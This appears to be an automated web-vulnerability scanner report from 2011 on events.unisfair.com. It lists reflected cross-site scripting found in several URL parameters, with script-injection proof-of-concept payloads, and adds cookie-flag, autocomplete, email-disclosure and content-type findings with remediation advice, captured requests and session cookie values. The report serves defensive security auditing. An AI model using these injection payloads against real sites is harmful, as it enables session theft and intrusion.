The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 99666<script>alert(1)</script>c9c0c4572c8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload de664<script>alert(1)</script>308f7518c92 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload b5c8b<script>alert(1)</script>88519d63a0a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 7f079<script>alert(1)</script>c07293defc6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /favicon.ico HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive
Response
HTTP/1.1 404 File not found Date: Mon, 08 Aug 2011 16:27:39 GMT Server: Microsoft-IIS/6.0 Web-server-name: 170 ETAG: P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" Content-Length: 55 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQBRARBT=DIKHKFAAGCDDNAALJMONILFF; path=/ Cache-control: private Connection: Keep-Alive
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 404 File not found Date: Mon, 08 Aug 2011 16:27:40 GMT Server: Microsoft-IIS/6.0 P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" ETAG: Web-server-name: 180 X-Powered-By: ASP.NET Content-Length: 55 Content-Type: text/html Set-Cookie: ASPSESSIONIDCSBABBAT=MHAGJJLDDPJKOHFGMOPFIJGK; path=/ Cache-control: private Connection: Keep-Alive
The following cookie was issued by the application and does not have the secure flag set:
code_ibm=Direct Access; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=&account-id=&login-ok=false&showFrames=false&embedded=false&import-stylesheet=true&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
Response
HTTP/1.1 200 OK Date: Mon, 08 Aug 2011 16:27:38 GMT Server: Microsoft-IIS/6.0 P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" Web-server-name: 150 ETag: Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=UTF-8 Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: code_ibm=Direct Access; path=/ Connection: Keep-Alive Content-Length: 27075
...[SNIP]...
3. Cookie without HttpOnly flag setpreviousnext There are 3 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /favicon.ico HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive
Response
HTTP/1.1 404 File not found Date: Mon, 08 Aug 2011 16:27:39 GMT Server: Microsoft-IIS/6.0 Web-server-name: 170 ETAG: P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" Content-Length: 55 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQBRARBT=DIKHKFAAGCDDNAALJMONILFF; path=/ Cache-control: private Connection: Keep-Alive
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 404 File not found Date: Mon, 08 Aug 2011 16:27:40 GMT Server: Microsoft-IIS/6.0 P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" ETAG: Web-server-name: 180 X-Powered-By: ASP.NET Content-Length: 55 Content-Type: text/html Set-Cookie: ASPSESSIONIDCSBABBAT=MHAGJJLDDPJKOHFGMOPFIJGK; path=/ Cache-control: private Connection: Keep-Alive
The following cookie was issued by the application and does not have the HttpOnly flag set:
code_ibm=Direct Access; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=&account-id=&login-ok=false&showFrames=false&embedded=false&import-stylesheet=true&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
Response
HTTP/1.1 200 OK Date: Mon, 08 Aug 2011 16:27:38 GMT Server: Microsoft-IIS/6.0 P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" Web-server-name: 150 ETag: Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=UTF-8 Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: code_ibm=Direct Access; path=/ Connection: Keep-Alive Content-Length: 27075
...[SNIP]...
4. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
https://events.unisfair.com
Path:
/index.jsp
Issue detail
The page contains a form with the following action URL:
The form contains the following password field with autocomplete enabled:
password
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
HTTP/1.1 200 OK Cache-Control: max-age=3600 Content-Length: 14313 Content-Type: application/x-javascript Content-Location: https://events.unisfair.com/scripts/jCarouselLite.js Last-Modified: Thu, 28 Jul 2011 13:21:38 GMT Accept-Ranges: bytes Server: Microsoft-IIS/6.0 P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" Web-server-name: 180 X-Powered-By: ASP.NET Date: Mon, 08 Aug 2011 16:24:38 GMT Connection: Keep-Alive
.../** * jCarouselLite - jQuery plugin to navigate images/any content in a carousel style widget. * @requires jQuery v1.2 or above * * http://gmarwaha.com/jquery/jcarousellite/ * * Copyrig ...[SNIP]... llbacks. The functions will be passed an argument that represents an array of elements that * are visible at the time of callback. * * * @cat Plugins/Image Gallery * @author Ganeshji Marwaha/ganeshread@gmail.com */
(function($) { // Compliant with jquery.noConflict() $.fn.jCarouselLite = function(o) { o = $.extend({ btnPrev: null, btnNext: ...[SNIP]...
HTTP/1.1 200 OK Date: Mon, 08 Aug 2011 16:30:17 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Length: 4625 Connection: close Content-Type: text/javascript
/** * hoverIntent is similar to jQuery's built-in "hover" function except that * instead of firing the onMouseOver event immediately, hoverIntent checks * to see if the user's mouse has slowed down ...[SNIP]... <brian@cherne.net> ...[SNIP]...
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
Request
GET /favicon.ico HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive
Response
HTTP/1.1 404 File not found Date: Mon, 08 Aug 2011 16:27:39 GMT Server: Microsoft-IIS/6.0 Web-server-name: 170 ETAG: P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" Content-Length: 55 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQBRARBT=DIKHKFAAGCDDNAALJMONILFF; path=/ Cache-control: private Connection: Keep-Alive
The response contains the following Content-type statement:
Content-Type: text/plain; charset=UTF-8
The response states that it contains plain text. However, it actually appears to contain unrecognised content.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.